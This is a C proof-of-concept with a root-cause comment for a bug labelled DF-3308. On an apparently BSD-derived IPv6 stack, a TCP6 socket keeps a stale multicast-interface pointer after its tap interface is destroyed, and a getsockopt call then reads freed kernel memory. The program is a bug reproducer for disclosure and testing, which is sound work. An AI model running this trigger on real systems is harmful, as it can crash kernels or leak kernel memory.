DF-3308 / mif6.c
/* * DF-3308 -- IPV6_MULTICAST_IF caches an unreferenced ifnet pointer in * in6p_moptions->im6o_multicast_ifp that is never purged for TCP6 pcbs. * * ip6_output.c:2253 stores ifp with no reference; the interface-detach * purge (in6_pcbpurgeif0, in6_pcb.c:688-756) is invoked ONLY for the * raw and udp pcb lists: * sys/netinet6/in6_ifattach.c:818: in6_pcbpurgeif0(&ripcbinfo, ifp); * sys/netinet6/in6_ifattach.c:819: in6_pcbpurgeif0(&udbinfo[0], ifp); * (no tcbinfo call). ip6_ctloutput (ip6_output.c:1478) lets ANY socket * -- including TCP6 -- store IPV6_MULTICAST_IF into in6p_moptions. * * After the interface is destroyed the pointer dangles in the pcb. * Which TCP paths deref it: * in6_src.c:572-575 (in6_pcbbind-ish scope resolution, multicast bind) * ip6_output.c:408-409 (ip6_output multicast ifp, im6o passed) * ip6_output.c:2496-2499 (IPV6_MULTICAST_IF getsockopt: reads * im6o->im6o_multicast_ifp->if_index <-- direct deref) * The getsockopt read is reachable for ANY TCP6 socket that set the * option, with no further preconditions: after the cached ifnet is * freed and its memory reused, getsockopt(IPV6_MULTICAST_IF) reads * if_index out of freed memory (info-leak of one int / UAF read). * * This PoC (run as root on the guest): * 1. create tap0, bring it up (gets a link-local v6 -> IFF_MULTICAST ok) * 2. TCP6 socket: setsockopt(IPV6_MULTICAST_IF, tap0 index) -> ok * 3. getsockopt(IPV6_MULTICAST_IF) -> returns tap0 index * 4. destroy tap0 * 5. getsockopt(IPV6_MULTICAST_IF) again -> deref of the freed ifnet: * observe either the same stale index (memory not reused), a * garbage index (reused memory), or a crash. * * Build: cc -O -o mif6 mif6.c */ #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <netinet6/in6_var.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static int get_index(int s) { u_int idx = 0; socklen_t l = sizeof(idx); if (getsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &idx, &l) < 0) { printf("getsockopt(IPV6_MULTICAST_IF): %s\n", strerror(errno)); return (-1); } return ((int)idx); } int main(void) { int s; u_int idx; if (geteuid() != 0) { fprintf(stderr, "root only (needs tap create/destroy)\n"); return (1); } system("ifconfig tap0 create 2>/dev/null; ifconfig tap0 up; sleep 1"); idx = if_nametoindex("tap0"); printf("tap0 index = %u (exists: %d)\n", idx, idx != 0); if (idx == 0) { perror("tap0"); return (1); } s = socket(AF_INET6, SOCK_STREAM, 0); if (setsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &idx, sizeof(idx)) < 0) { printf("setsockopt(IPV6_MULTICAST_IF) on TCP6 socket: %s\n", strerror(errno)); return (1); } printf("TCP6 socket: IPV6_MULTICAST_IF cached (setsockopt accepted)\n"); printf("before destroy: getsockopt returns index %d\n", get_index(s)); /* churn the M_IFNET zone a bit so the freed ifnet gets reused */ system("for i in 1 2 3 4 5 6 7 8; do ifconfig tap1 create 2>/dev/null; " "ifconfig tap1 destroy 2>/dev/null; done"); system("ifconfig tap0 destroy; sleep 1"); printf("tap0 destroyed; pcb purge list for TCP6 does not exist " "(in6_ifattach.c:818-819 purges rip+udp only)\n"); int r = get_index(s); printf("after destroy: getsockopt returns index %d (deref of freed ifnet)\n", r); if (r >= 0) printf("VERDICT: REPRODUCED -- stale im6o_multicast_ifp dereferenced " "after interface destruction (returned %d, tap0 was %u)\n", r, idx); close(s); return (0); } |